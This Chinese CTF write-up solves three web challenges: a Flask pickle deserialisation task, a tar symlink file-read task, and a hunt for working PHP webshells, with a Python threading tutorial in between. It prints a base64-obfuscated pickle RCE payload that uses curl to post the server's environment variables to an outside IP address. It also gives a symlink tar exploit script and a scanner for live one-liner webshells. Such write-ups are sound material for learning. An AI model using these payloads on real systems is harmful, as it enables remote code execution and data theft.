[HZNUCTF 2023 preliminary]pickle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import base64 import pickle from flask import Flask, request
app = Flask(__name__)
@app.route('/') def index(): with open('app.py', 'r') as f: return f.read()
@app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!"
@app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read()
if __name__ == '__main__': app.run(host='0.0.0.0')
|
非预期
直接到/readFile路由输入?filename=/proc/self/environ即可
预期
由于过滤了os并且无回显,还不能反弹shell,可以考虑curl外带
对于os的绕过可以采用base64编码再解码的方式绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import os import pickle import base64
actual_payload = ''' import os os.system('curl -X POST -d "flag=`env`" http://101.42.52.114:9999') ''' encoded_payload = base64.b64encode(actual_payload.encode()).decode()
class RCE: def __reduce__(self): cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));' return exec, (cmd,)
a = RCE() payload = base64.b64encode(pickle.dumps(a))
print(payload)
|
[NSSRound#6 Team]check(V1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from flask import Flask, request import tarfile import os
app = Flask(__name__) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/') def index(): with open(__file__, 'r') as f: return f.read()
@app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return '?' file = request.files['file'] if file.filename == '': return '?' print(file.filename) if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename: file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) if (os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a tarfile' try: tar = tarfile.open(file_save_path, "r") tar.extractall(app.config['UPLOAD_FOLDER']) except Exception as e: return str(e) os.remove(file_save_path) return 'success'
@app.route('/download', methods=['POST']) def download_file(): filename = request.form.get('filename') if filename is None or filename == '': return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename: return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath): return '?'
with open(filepath, 'r') as f: return f.read()
@app.route('/clean', methods=['POST']) def clean_file(): os.system('/tmp/clean.sh') return 'success'
if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=80)
|
要求文件必须为tar类型,并且过滤了..和/,os.path.join函数的漏洞肯定利用不了了
我们可以上传一个文件,该文件是一个指向/flag的软连接
1 2
| ln -s /flag flag tar -cvf flag.tar flag
|
然后
1 2 3 4 5 6 7 8 9
| import requests
url = 'http://node3.anna.nssctf.cn:28221/' session = requests.session()
session.post(url=url+"upload",files={'file':open(file='flag.tar',mode='rb')}) res = session.post(url=url+"download",data={'filename':"flag"})
print(res.text)
|
[强网杯 2019]高明的黑客
根据题目下载源码,40MB,几千个php文件,留下了许多一句话木马,但是有很多是利用不了的,所以我们需要编写脚本来判断哪些一句话木马是可用的
等会代码的编写涉及到多线程的知识,正好不是很熟悉,先来学习一下
python多线程
线程的概念
1 2 3 4 5 6 7
| 线程是CPU分配资源的基本单位。当一程序开始运行,这个程序就变成了一个进程,而一个进程相当于一个或者多个线程。当没有多线程编程时,一个进程相当于一个主线程;当有多线程编程时,一个进程包含多个线程(含主线程)。使用线程可以实现程序大的开发。
多个线程可以在同一个程序中运行,并且每一个线程完成不同的任务。
多线程实现后台服务程序可以同时处理多个任务,并不发生阻塞现象。
多线程的程序设计的特点就是能够提高程序执行效率和处理速度。python程序可以同时并行运行多个相对独立的线程。
|
创建多线程
python支持两种创建多线程的方式:
~通过 threading.Thread () 创建。
~通过继承 threading.Thread 类的继承。
1.通过 threading.Thread () 创建
语法形式:
1
| thread.Thread(group=Nore,targt=None,args=(),kwargs={},*,daemon=None)
|
参数解释:
~group:必须为None,于ThreadGroup类相关,一般不使用。
~target:线程调用的对象,就是目标函数。
~name:为线程起这个名字。默认是Tread-x,x是序号,由1开始,第一个创建的线程名字就是Tread-1。
~args:为目标函数传递关键字参数,字典。
~daemon:用来设置线程是否随主线程退出而退出。
注意:两个程序会并发运行,所以结果不一定每次都是顺序的1~10,这是根据CPU给两个线程风马分配的时间片段来决定。可以看到每次结果都不同。
主线程
在python中,主线程是第一个启动的线程。
~父线程:如果启动线程A中启动了一个线程B,A就是B的父线程。
~子线程:B就是A的子线程。
创建线程时有一个damon属性,用它来判断主线程。当daemon设置False时,线程不会随主线程退出而退出,主线程会一直等着子线程执行完;。当daemon设置True时,线程会随主线程退出而退出,主线程结束其他的子线程会强制退出。
使用daemon注意:
~daemon属性必须在start( )之前设置,否则会引发RuntimeError异常
~每个线程都由daemon属性,可以显示设置也可以不设置,不设置则取默认值None
~如果子子线程不设置daemon属性,就取当前线程的daemon来设置它。子子线程继承子线程的daemon值,作用和设置None一样。
~从主线程创建的所有线程不设置daemon属性,则默认都是daemon=False。
解释:当主线程运行完毕输出完之后,等待一下后输出0~9。如果将daemon=False该为daemon=True,则不会运行for i in range(10)语句。
线程锁
在Python中,线程锁是用于保护共享资源免受并发访问的一种同步机制。当多个线程尝试同时访问共享资源时,线程锁可以确保只有一个线程可以访问该资源,从而避免数据竞争和其他并发问题。
Python标准库threading
中提供了一个Lock
类,用于创建线程锁对象。该类包括两个基本方法:
acquire()
:获取锁。如果锁当前未被其他线程持有,则该方法立即获取锁并返回True。否则,该方法将阻塞,直到其他线程释放锁并返回True。
release()
:释放锁。如果当前线程持有锁,则该方法将释放锁并返回True。否则,该方法将引发RuntimeError
异常。
下面是一个使用线程锁的示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import threading
shared_resource = 0 lock = threading.Lock()
def increment(): global shared_resource lock.acquire() shared_resource += 1 lock.release()
for i in range(10): t = threading.Thread(target=increment) t.start() t.join()
print(shared_resource)
|
在上述代码中,shared_resource
是一个共享资源,多个线程将尝试增加其值。lock
是一个Lock
对象,用于保护shared_resource
免受并发访问。increment()
函数是一个线程函数,它首先获取锁,然后增加shared_resource
的值,最后释放锁。
在主线程中,循环创建10个线程,并启动它们以调用increment()
函数。由于increment()
函数包含了线程锁,因此每个线程将依次获取锁、增加shared_resource
的值、释放锁,从而确保shared_resource
的值正确递增。
大概就是这些了,我自己编写脚本还是不可能的,所以借鉴这位师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import os import threading import re import time import requests
print('开始时间:' + time.asctime( time.localtime(time.time()) )) s1 = threading.Semaphore(100) filePath = r"D:/phpstudy_pro/www/src" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.session() session.keep_alive = False
def get_content(file): s1.acquire() print('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) with open(file,encoding='utf-8') as f: gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} params = {} for m in gets: params[m] = "echo 'xxxxxxx';" for n in posts: data[n] = "echo 'xxxxxxx';" url = 'http://127.0.0.1/src/' + file req = session.post(url,data=data,params=params) req.close() req.encoding = 'utf-8' content = req.text
if "xxxxxxx" in content: flag = 0 for a in gets: req = session.get(url + '?%s=' % a + "echo 'xxxxxx';") content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1: for b in posts: req = session.post(url, data={b: "echo 'xxxxxx';"}) content = req.text req.close() if "xxxxxx" in content: break if flag == 1: param = a else: param = b print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release()
for i in files: t = threading.Thread(target=get_content,args=(i,)) t.start()
|
但是很奇怪,自己没跑出来
跑出来是xk0SzyKwfzw.php?Efa5BVG